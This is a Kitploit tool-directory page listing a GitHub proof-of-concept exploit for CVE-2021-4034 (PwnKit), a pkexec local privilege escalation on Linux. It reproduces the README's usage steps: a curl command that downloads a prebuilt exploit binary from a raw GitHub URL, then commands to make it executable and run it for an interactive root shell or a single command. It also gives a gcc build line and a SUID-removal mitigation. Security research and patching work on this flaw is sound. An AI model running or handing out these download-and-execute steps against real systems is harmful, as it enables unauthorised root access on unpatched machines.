Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PwnKit-CVE-2021-4034 — Proof-of-concept exploit for CVE-2021-4034 (PwnKit) targeting pkexec SUID binary to achieve local privilege escalation on Linux systems. Includes manual execution and build instructions. | Kitploit
Tools/GitHubGitHub/jayhutajulu1/pwnkit-cve-2021-4034
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubjayhutajulu1/pwnkit-cve-2021-4034

PwnKit-CVE-2021-4034

Proof-of-concept exploit for CVE-2021-4034 (PwnKit) targeting pkexec SUID binary to achieve local privilege escalation on Linux systems. Includes manual execution and build instructions.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
244 months agoNot yet reviewed

PwnKit

PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation

Exploit

Manually

curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

Patched

Running the exploit against patched versions will yield the following output.

Build

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

Mitigation

If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation.

# chmod 0755 /usr/bin/pkexec

Technical Details

  • https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

References

  • https://github.com/arthepsy/CVE-2021-4034/
Download Tool